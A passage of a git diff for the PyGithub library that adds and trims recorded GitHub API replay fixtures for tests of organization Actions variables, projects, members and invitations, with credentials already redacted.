testing","ssh_url":"git@github.com:BeaverSoftware/TestPyGithub.git","pushed_at":"2012-03-03T08:57:40Z","created_at":"2012-03-03T07:53:19Z","id":3609352,"html_url":"https://github.com/BeaverSoftware/TestPyGithub","full_name":"BeaverSoftware/TestPyGithub"}, {"clone_url":"https://github.com/BeaverSoftware/FatherBeaver.git","has_downloads":true,"watchers":2,"git_url":"git://github.com/BeaverSoftware/FatherBeaver.git","updated_at":"2012-02-16T21:51:15Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"","url":"https://api.github.com/repos/BeaverSoftware/FatherBeaver","has_wiki":true,"has_pages":true,"has_issues":true,"fork":false,"forks":1,"mirror_url":null,"size":0,"private":false,"open_issues":0,"svn_url":"https://github.com/BeaverSoftware/FatherBeaver","owner":{"url":"https://api.github.com/users/BeaverSoftware","gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","login":"BeaverSoftware","id":1424031,"avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"name":"FatherBeaver","language":null,"description":"","ssh_url":"git@github.com:BeaverSoftware/FatherBeaver.git","pushed_at":null,"created_at":"2012-02-09T19:32:21Z","id":3400397,"html_url":"https://github.com/BeaverSoftware/FatherBeaver","full_name":"BeaverSoftware/FatherBeaver"}]} diff --git a/tests/ReplayData/Organization.testGetVariables.txt b/tests/ReplayData/Organization.testGetVariables.txt new file mode 100644 index 0000000000..4d66c175e0 --- /dev/null +++ b/tests/ReplayData/Organization.testGetVariables.txt @@ -0,0 +1,10 @@ +https +GET +api.github.com +None +/orgs/BeaverSoftware/actions/variables +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('status', '200 OK'), ('x-ratelimit-remaining', '4978'), ('content-length', '487'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"1dd282b50e691f8f162ef9355dad8771"'), ('date', 'Thu, 10 May 2012 19:03:19 GMT'), ('content-type', 'application/json; charset=utf-8')] +{"total_count": 1, "variables": [{"name": "variable-name","created_at": "2019-08-10T14:59:22Z","updated_at": "2020-01-10T14:59:22Z","visibility": "selected","selected_repositories_url": "https://api.github.com/orgs/BeaverSoftware/actions/variables/variable-name/repositories"}]} diff --git a/tests/ReplayData/Organization.testInviteUserAsNonOwner.txt b/tests/ReplayData/Organization.testInviteUserAsNonOwner.txt index 22c5869257..df1a83ef20 100644 --- a/tests/ReplayData/Organization.testInviteUserAsNonOwner.txt +++ b/tests/ReplayData/Organization.testInviteUserAsNonOwner.txt @@ -8,4 +8,3 @@ None 403 [('status', '403 Forbidden'), ('x-ratelimit-remaining', '4980'), ('content-length', '37'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"fb43ecb6e2f75e3940aa8e9edc5ed691"'), ('date', 'Sun, 26 Aug 2018 01:19:54 GMT'), ('content-type', 'application/json; charset=utf-8')] {"documentation_url": "https://developer.github.com/v3/orgs/members/#create-organization-invitation", "message": "You must be an admin to create an invitation to an organization."} - diff --git a/tests/ReplayData/Organization.testIssue2030CreateProject.txt b/tests/ReplayData/Organization.testIssue2030CreateProject.txt index 3b7f3c76c2..70d9464e5f 100644 --- a/tests/ReplayData/Organization.testIssue2030CreateProject.txt +++ b/tests/ReplayData/Organization.testIssue2030CreateProject.txt @@ -41,4 +41,3 @@ None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 17 Aug 2021 12:32:23 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"f84f6e37e193a8568bbac1bee0b16333c20ca1ca26dadc31129821e8aacad527"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'read:org, repo'), ('github-authentication-token-expiration', '2021-09-09 21:12:46 UTC'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4986'), ('X-RateLimit-Reset', '1629206924'), ('X-RateLimit-Used', '14'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '7E1A:AA20:1B68AF6:1C3923B:611BAC57')] [{"owner_url":"https://api.github.com/orgs/testkarthik","url":"https://api.github.com/projects/13097272","html_url":"https://github.com/orgs/testkarthik/projects/22","columns_url":"https://api.github.com/projects/13097272/columns","id":13097272,"node_id":"PRO_kwDOBUnFLs4Ax9k4","name":"ultratendency","body":null,"number":22,"state":"open","creator":{"login":"karthik-kadajji-t","id":88677462,"node_id":"MDQ6VXNlcjg4Njc3NDYy","avatar_url":"https://avatars.githubusercontent.com/u/88677462?v=4","gravatar_id":"","url":"https://api.github.com/users/karthik-kadajji-t","html_url":"https://github.com/karthik-kadajji-t","followers_url":"https://api.github.com/users/karthik-kadajji-t/followers","following_url":"https://api.github.com/users/karthik-kadajji-t/following{/other_user}","gists_url":"https://api.github.com/users/karthik-kadajji-t/gists{/gist_id}","starred_url":"https://api.github.com/users/karthik-kadajji-t/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/karthik-kadajji-t/subscriptions","organizations_url":"https://api.github.com/users/karthik-kadajji-t/orgs","repos_url":"https://api.github.com/users/karthik-kadajji-t/repos","events_url":"https://api.github.com/users/karthik-kadajji-t/events{/privacy}","received_events_url":"https://api.github.com/users/karthik-kadajji-t/received_events","type":"User","site_admin":false},"created_at":"2021-08-17T12:32:23Z","updated_at":"2021-08-17T12:32:23Z","organization_permission":"write","private":true}] - diff --git a/tests/ReplayData/Organization.testMembers.txt b/tests/ReplayData/Organization.testMembers.txt index 875ff9e70a..76f3260e54 100644 --- a/tests/ReplayData/Organization.testMembers.txt +++ b/tests/ReplayData/Organization.testMembers.txt @@ -41,4 +41,3 @@ None 403 [('status', '403 Forbidden'), ('x-ratelimit-remaining', '4980'), ('content-length', '37'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"ab43ecb6e2f75e3940aa869edc5ed691"'), ('date', 'Sun, 27 May 2012 05:09:24 GMT'), ('content-type', 'application/json; charset=utf-8')] {"message":"You need to be a member"} - diff --git a/tests/ReplayData/Organization.testOrgVariable.txt b/tests/ReplayData/Organization.testOrgVariable.txt new file mode 100644 index 0000000000..72755a0d33 --- /dev/null +++ b/tests/ReplayData/Organization.testOrgVariable.txt @@ -0,0 +1,42 @@ +https +GET +api.github.com +None +/orgs/tecnoly +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Wed, 28 Jun 2023 19:19:30 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"151546d41ba356a3ab126e7c41b4eac41d400db050ebc80fe18396328233c2af"'), ('Last-Modified', 'Wed, 30 Nov 2022 08:14:01 GMT'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, admin:ssh_signing_key, audit_log, codespace, delete:packages, delete_repo, gist, notifications, project, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'admin:org, read:org, repo, user, write:org'), ('github-authentication-token-expiration', '2023-07-05 17:42:21 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4900'), ('X-RateLimit-Reset', '1687981543'), ('X-RateLimit-Used', '100'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '6590:2BA8:EAFB2:1DBE2F:649C87C2')] +{"login":"tecnoly","id":87164276,"node_id":"MDEyOk9yZ2FuaXphdGlvbjg3MTY0Mjc2","url":"https://api.github.com/orgs/tecnoly","repos_url":"https://api.github.com/orgs/tecnoly/repos","events_url":"https://api.github.com/orgs/tecnoly/events","hooks_url":"https://api.github.com/orgs/tecnoly/hooks","issues_url":"https://api.github.com/orgs/tecnoly/issues","members_url":"https://api.github.com/orgs/tecnoly/members{/member}","public_members_url":"https://api.github.com/orgs/tecnoly/public_members{/member}","avatar_url":"https://avatars.githubusercontent.com/u/87164276?v=4","description":"","name":"Tecnoly","company":null,"blog":null,"location":"Mexico","email":null,"twitter_username":null,"is_verified":false,"has_organization_projects":true,"has_repository_projects":true,"public_repos":5,"public_gists":0,"followers":0,"following":0,"html_url":"https://github.com/tecnoly","created_at":"2021-07-09T04:52:53Z","updated_at":"2022-11-30T08:14:01Z","type":"Organization","total_private_repos":0,"owned_private_repos":0,"private_gists":0,"disk_usage":2205,"collaborators":0,"billing_email":"mmartinez@tecno.ly","default_repository_permission":"read","members_can_create_repositories":true,"two_factor_requirement_enabled":true,"members_allowed_repository_creation_type":"public","members_can_create_public_repositories":true,"members_can_create_private_repositories":false,"members_can_create_internal_repositories":false,"members_can_create_pages":true,"members_can_fork_private_repositories":false,"web_commit_signoff_required":false,"members_can_create_public_pages":true,"members_can_create_private_pages":true,"plan":{"name":"free","space":976562499,"private_repos":10000,"filled_seats":2,"seats":0},"advanced_security_enabled_for_new_repositories":false,"dependabot_alerts_enabled_for_new_repositories":true,"dependabot_security_updates_enabled_for_new_repositories":true,"dependency_graph_enabled_for_new_repositories":true,"secret_scanning_enabled_for_new_repositories":false,"secret_scanning_push_protection_enabled_for_new_repositories":false,"secret_scanning_push_protection_custom_link_enabled":false,"secret_scanning_push_protection_custom_link":null} + +https +POST +api.github.com +None +/orgs/tecnoly/actions/variables +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} +{"name": "variable_name", "value": "variable-value", "visibility": "all"} +201 +[('Server', 'GitHub.com'), ('Date', 'Wed, 28 Jun 2023 19:19:26 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '2'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"ab9b40dea6722e415dd424b31be226eac6da76ca693e83c73fed865610a4937e"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, admin:ssh_signing_key, audit_log, codespace, delete:packages, delete_repo, gist, notifications, project, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'admin:org'), ('github-authentication-token-expiration', '2023-07-05 17:42:21 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4905'), ('X-RateLimit-Reset', '1687981543'), ('X-RateLimit-Used', '95'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', '6FD1:95BE:1234AD:24C286:649C87BD')] +{} + +https +PATCH +api.github.com +None +/orgs/tecnoly/actions/variables/variable_name +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} +{"name": "variable_name", "value": "variable-value123", "visibility": "all"} +204 +[('Server', 'GitHub.com'), ('Date', 'Wed, 28 Jun 2023 19:19:26 GMT'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, admin:ssh_signing_key, audit_log, codespace, delete:packages, delete_repo, gist, notifications, project, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'admin:org'), ('github-authentication-token-expiration', '2023-07-05 17:42:21 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4904'), ('X-RateLimit-Reset', '1687981543'), ('X-RateLimit-Used', '96'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', '6BED:76E5:D6F66:1B439F:649C87BE')] + + +https +DELETE +api.github.com +None +/orgs/tecnoly/actions/variables/variable_name +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +204 +[('Server', 'GitHub.com'), ('Date', 'Wed, 28 Jun 2023 19:19:27 GMT'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, admin:ssh_signing_key, audit_log, codespace, delete:packages, delete_repo, gist, notifications, project, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'admin:org'), ('github-authentication-token-expiration', '2023-07-05 17:42:21 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4903'), ('X-RateLimit-Reset', '1687981543'), ('X-RateLimit-Used', '97'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', '60E5:796C:F6B59:1F4388:649C87BF')] diff --git a/tests/ReplayData/Organization.testPublicMembers.txt b/tests/ReplayData/Organization.testPublicMembers.txt index b67ef7c085..300074cf02 100644 --- a/tests/ReplayData/Organization.testPublicMembers.txt +++ b/tests/ReplayData/Organization.testPublicMembers.txt @@ -63,4 +63,3 @@ None 404 [('status', '404 Not Found'), ('x-ratelimit-remaining', '4991'), ('content-length', '23'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"e66a7a6c91e2c26803f3f49feb7a883f"'), ('date', 'Sun, 27 May 2012 05:06:45 GMT'), ('content-type', 'application/json; charset=utf-8')] {"message":"Not Found"} - diff --git a/tests/ReplayData/Organization1437.setUp.txt b/tests/ReplayData/Organization1437.setUp.txt index 1b7b321a32..9a899f1a56 100644 --- a/tests/ReplayData/Organization1437.setUp.txt +++ b/tests/ReplayData/Organization1437.setUp.txt @@ -8,4 +8,3 @@ None 200 [('Date', 'Sun, 15 Mar 2020 16:30:51 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4996'), ('X-RateLimit-Reset', '1584292656'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"5a44b3584cfbb71e5ae99df123138fc5"'), ('Last-Modified', 'Sun, 15 Mar 2020 16:23:28 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D02B:0E77:6CA8B4:899B24:5E6E583B')] {"login":"PyGithubSampleOrg","id":62213331,"node_id":"MDEyOk9yZ2FuaXphdGlvbjYyMjEzMzMx","url":"https://api.github.com/orgs/PyGithubSampleOrg","repos_url":"https://api.github.com/orgs/PyGithubSampleOrg/repos","events_url":"https://api.github.com/orgs/PyGithubSampleOrg/events","hooks_url":"https://api.github.com/orgs/PyGithubSampleOrg/hooks","issues_url":"https://api.github.com/orgs/PyGithubSampleOrg/issues","members_url":"https://api.github.com/orgs/PyGithubSampleOrg/members{/member}","public_members_url":"https://api.github.com/orgs/PyGithubSampleOrg/public_members{/member}","avatar_url":"https://avatars3.githubusercontent.com/u/62213331?v=4","description":null,"is_verified":false,"has_organization_projects":true,"has_repository_projects":true,"public_repos":0,"public_gists":0,"followers":0,"following":0,"html_url":"https://github.com/PyGithubSampleOrg","created_at":"2020-03-15T16:23:28Z","updated_at":"2020-03-15T16:23:28Z","type":"Organization","total_private_repos":0,"owned_private_repos":0,"private_gists":0,"disk_usage":0,"collaborators":0,"billing_email":"bansalanuj1996@gmail.com","default_repository_permission":"read","members_can_create_repositories":true,"two_factor_requirement_enabled":false,"plan":{"name":"free","space":976562499,"private_repos":0,"filled_seats":1,"seats":0}} - diff --git a/tests/ReplayData/Organization1437.testCreateProject.txt b/tests/ReplayData/Organization1437.testCreateProject.txt index 35f317a9e4..0ff72b408c 100644 --- a/tests/ReplayData/Organization1437.testCreateProject.txt +++ b/tests/ReplayData/Organization1437.testCreateProject.txt @@ -8,4 +8,3 @@ None 201 [('Date', 'Sun, 15 Mar 2020 16:30:52 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '1409'), ('Server', 'GitHub.com'), ('Status', '201 Created'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4995'), ('X-RateLimit-Reset', '1584292656'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"facd2116232591d58f7efd4c226d71d2"'), ('Location', 'https://api.github.com/projects/4115694'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', '611A:7C7D:699325:86F5B8:5E6E583B')] {"owner_url":"https://api.github.com/orgs/PyGithubSampleOrg","url":"https://api.github.com/projects/4115694","html_url":"https://github.com/orgs/PyGithubSampleOrg/projects/1","columns_url":"https://api.github.com/projects/4115694/columns","id":4115694,"node_id":"MDc6UHJvamVjdDQxMTU2OTQ=","name":"Project title","body":"This is the body","number":1,"state":"open","creator":{"login":"ahhda","id":7795956,"node_id":"MDQ6VXNlcjc3OTU5NTY=","avatar_url":"https://avatars0.githubusercontent.com/u/7795956?u=69331080d94f26f4e465cbc5437167637ae324f1&v=4","gravatar_id":"","url":"https://api.github.com/users/ahhda","html_url":"https://github.com/ahhda","followers_url":"https://api.github.com/users/ahhda/followers","following_url":"https://api.github.com/users/ahhda/following{/other_user}","gists_url":"https://api.github.com/users/ahhda/gists{/gist_id}","starred_url":"https://api.github.com/users/ahhda/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ahhda/subscriptions","organizations_url":"https://api.github.com/users/ahhda/orgs","repos_url":"https://api.github.com/users/ahhda/repos","events_url":"https://api.github.com/users/ahhda/events{/privacy}","received_events_url":"https://api.github.com/users/ahhda/received_events","type":"User","site_admin":false},"created_at":"2020-03-15T16:30:52Z","updated_at":"2020-03-15T16:30:52Z","organization_permission":"write","private":true} - diff --git a/tests/ReplayData/Organization2072.setUp.txt b/tests/ReplayData/Organization2072.setUp.txt index 47247445e1..d640410052 100644 --- a/tests/ReplayData/Organization2072.setUp.txt +++ b/tests/ReplayData/Organization2072.setUp.txt @@ -8,4 +8,3 @@ None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 12 Oct 2021 05:32:32 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"0e8e9cdb8a79214111e22bae109cc8cd2ad163242dd751ce30d501009b7776d6"'), ('Last-Modified', 'Mon, 11 Oct 2021 05:17:24 GMT'), ('X-OAuth-Scopes', 'admin:org, admin:org_hook'), ('X-Accepted-OAuth-Scopes', 'admin:org, read:org, repo, user, write:org'), ('github-authentication-token-expiration', '2021-10-18 05:11:21 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4977'), ('X-RateLimit-Reset', '1634019426'), ('X-RateLimit-Used', '23'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'ADB2:4907:F9EF7D:10E5C1E:61651DEF')] {"login":"TestOrganization2072","id":92288976,"node_id":"O_kgDOBYA30A","url":"https://api.github.com/orgs/TestOrganization2072","repos_url":"https://api.github.com/orgs/TestOrganization2072/repos","events_url":"https://api.github.com/orgs/TestOrganization2072/events","hooks_url":"https://api.github.com/orgs/TestOrganization2072/hooks","issues_url":"https://api.github.com/orgs/TestOrganization2072/issues","members_url":"https://api.github.com/orgs/TestOrganization2072/members{/member}","public_members_url":"https://api.github.com/orgs/TestOrganization2072/public_members{/member}","avatar_url":"https://avatars.githubusercontent.com/u/92288976?v=4","description":null,"is_verified":false,"has_organization_projects":true,"has_repository_projects":true,"public_repos":0,"public_gists":0,"followers":0,"following":0,"html_url":"https://github.com/TestOrganization2072","created_at":"2021-10-11T05:17:24Z","updated_at":"2021-10-11T05:17:24Z","type":"Organization","total_private_repos":0,"owned_private_repos":0,"private_gists":0,"disk_usage":0,"collaborators":0,"billing_email":"james@snowterminal.com","default_repository_permission":"read","members_can_create_repositories":true,"two_factor_requirement_enabled":false,"members_allowed_repository_creation_type":"all","members_can_create_public_repositories":true,"members_can_create_private_repositories":true,"members_can_create_internal_repositories":false,"members_can_create_pages":true,"members_can_create_public_pages":true,"members_can_create_private_pages":true,"plan":{"name":"free","space":976562499,"private_repos":10000,"filled_seats":1,"seats":0}} - diff --git a/tests/ReplayData/Organization2072.testCancelInvitation.txt b/tests/ReplayData/Organization2072.testCancelInvitation.txt index 4ae7e3d0bd..ddc8dbd046 100644 --- a/tests/ReplayData/Organization2072.testCancelInvitation.txt +++ b/tests/ReplayData/Organization2072.testCancelInvitation.txt @@ -51,5 +51,3 @@ None None 204 [('Server', 'GitHub.com'), ('Date', 'Tue, 12 Oct 2021 05:32:34 GMT'), ('X-OAuth-Scopes', 'admin:org, admin:org_hook'), ('X-Accepted-OAuth-Scopes', 'admin:org'), ('github-authentication-token-expiration', '2021-10-18 05:11:21 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4972'), ('X-RateLimit-Reset', '1634019426'), ('X-RateLimit-Used', '28'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'ADBC:057F:44AD76:4B0F5B:61651DF2')] - - diff --git a/tests/ReplayData/OrganizationSecrets.setUp.txt b/tests/ReplayData/OrganizationSecrets.setUp.txt index 60f0c78fe2..04a1cb497a 100644 --- a/tests/ReplayData/OrganizationSecrets.setUp.txt +++ b/tests/ReplayData/OrganizationSecrets.setUp.txt @@ -31,17 +31,6 @@ None [('Server', 'GitHub.com'), ('Date', 'Wed, 07 Jul 2021 14:57:56 GMT'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'admin:org'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4951'), ('X-RateLimit-Reset', '1625673422'), ('X-RateLimit-Used', '49'), 